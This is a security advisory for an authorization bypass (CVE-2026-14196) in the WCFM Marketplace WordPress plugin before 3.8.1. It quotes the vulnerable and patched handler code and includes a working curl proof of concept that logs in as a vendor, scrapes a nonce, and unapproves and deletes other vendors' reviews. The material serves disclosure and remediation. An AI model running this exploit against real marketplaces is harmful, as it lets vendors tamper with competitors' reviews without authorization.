- Product
- WCFM Marketplace (WordPress plugin)
- Versions
- Before 3.8.1 · fixed in 3.8.1
- Severity
- MediumCVSS score 4.3 · WPScan
- CVE
- CVE-2026-14196, assigned by WPScan
- Found by
- Mustafa Ahmed, Fortress MSSP
- Published
- November 11, 2026CVE published by WPScan on August 19, 2026
Description
The WCFM Marketplace WordPress plugin before 3.8.1 does not verify that a marketplace vendor owns a review before allowing it to be unapproved or deleted, allowing any vendor to modify or permanently delete reviews belonging to other vendors' stores.
From the CVE record · CWE-639 Authorization Bypass Through User-Controlled Key
Technical analysis
wcfmmp_reviews_status_update() only checks that the caller holds the manage_woocommerce, wcfm_vendor or shop_staff capability, then loads a store review by the reviewid taken from the request. Nothing compares the loaded review's vendor_id with the calling vendor before the handler branches on the requested status and acts on the review, so any vendor can change the approval state of a review that belongs to another vendor's store.
if ( !current_user_can( 'manage_woocommerce' ) && !current_user_can( 'wcfm_vendor' ) && !current_user_can( 'shop_staff' ) ) {
wp_send_json_error( esc_html__( 'You don’t have permission to do this.', 'woocommerce' ) );
wp_die();
}
$reviewid = absint($_POST['reviewid']);
$status = absint($_POST['status']);
$wcfm_review_categories = get_wcfm_marketplace_active_review_categories();
if( $reviewid ) {
$review_data = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM {$wpdb->prefix}wcfm_marketplace_reviews WHERE `ID`= %d", $reviewid ) );
$review_meta = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM {$wpdb->prefix}wcfm_marketplace_review_rating_meta WHERE `type` = 'rating_category' AND `review_id`= %d ORDER BY ID ASC", $reviewid ) );
if( $review_data && !empty( $review_data ) && is_object( $review_data ) ) {
if( $status ) {
3.8.1 passes the loaded review's vendor_id to a new wcfmmp_can_moderate_review() check and stops with a permission error when it fails, before the review is touched.
if ( !current_user_can( 'manage_woocommerce' ) && !current_user_can( 'wcfm_vendor' ) && !current_user_can( 'shop_staff' ) ) {
wp_send_json_error( esc_html__( 'You don’t have permission to do this.', 'woocommerce' ) );
wp_die();
}
$reviewid = absint($_POST['reviewid']);
$status = absint($_POST['status']);
$wcfm_review_categories = get_wcfm_marketplace_active_review_categories();
if( $reviewid ) {
$review_data = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM {$wpdb->prefix}wcfm_marketplace_reviews WHERE `ID`= %d", $reviewid ) );
$review_meta = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM {$wpdb->prefix}wcfm_marketplace_review_rating_meta WHERE `type` = 'rating_category' AND `review_id`= %d ORDER BY ID ASC", $reviewid ) );
if( $review_data && !empty( $review_data ) && is_object( $review_data ) ) {
if ( ! $this->wcfmmp_can_moderate_review( $review_data->vendor_id, 'review_status_update' ) ) {
wp_send_json_error( esc_html__( 'You don’t have permission to do this.', 'woocommerce' ) );
wp_die();
}
Fortress’s reading of the public source code at the versions shown.
Proof of concept
As published by WPScan in its advisory on August 17, 2026.
Prerequisites: WooCommerce + WCFM (wc-frontend-manager) + WCFM Marketplace active. Attacker is any marketplace vendor; victim is another vendor whose store has reviews (review IDs are small sequential integers).
BASE="https://victim.example"
# 1) Log in as the attacker vendor and read the dashboard's wcfm_ajax_nonce
curl -s -c cookies.txt -b "wordpress_test_cookie=WP Cookie check" \
-d 'log=attacker_vendor&pwd=PASSWORD&wp-submit=Log+In&testcookie=1' \
"$BASE/wp-login.php" -o /dev/null
NONCE=$(curl -s -b cookies.txt "$BASE/store-manager/" | grep -oE 'wcfm_ajax_nonce":"[a-f0-9]+"' | head -1 | cut -d'"' -f3)
# 2) Unapprove another vendor's review (id 1) -> success
curl -s -b cookies.txt -X POST "$BASE/wp-admin/admin-ajax.php" \
-d "action=wcfmmp_reviews_status_update&reviewid=1&status=0&wcfm_ajax_nonce=$NONCE"
# 3) Permanently delete another vendor's review (id 2) -> success
curl -s -b cookies.txt -X POST "$BASE/wp-admin/admin-ajax.php" \
-d "action=wcfmmp_reviews_delete&reviewid=2&wcfm_ajax_nonce=$NONCE"
Both handlers return the bare string "success" on the success path; only the failure path returns JSON. Step 2 flips the targeted review's approved flag from 1 to 0; step 3 removes the row from wp_wcfm_marketplace_reviews, in both cases for a review owned by a different vendor. A subscriber with no vendor dashboard is rejected ("Invalid nonce").Severity
WPScan rates it 4.3 (medium). CISA’s ADP scores it 4.3 (medium) in the CVE record.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:NCISA ADP
Remediation
Update WCFM Marketplace to 3.8.1 or later.
Disclosure timeline
- CVE ID reserved by WPScan.
- Fix committed to the plugin repository (r3646626).
- Version 3.8.1 released.
- WPScan advisory published.
- CVE published by WPScan.
- Published on this site.
Credit
Found and reported by Mustafa Ahmed of Fortress MSSP. The CVE record credits Mustafa Ahmed as finder and WPScan as coordinator.
WPScan's advisory lists Mustafa Ahmed as original researcher and submitter, with fortressmssp.com as the submitter's website.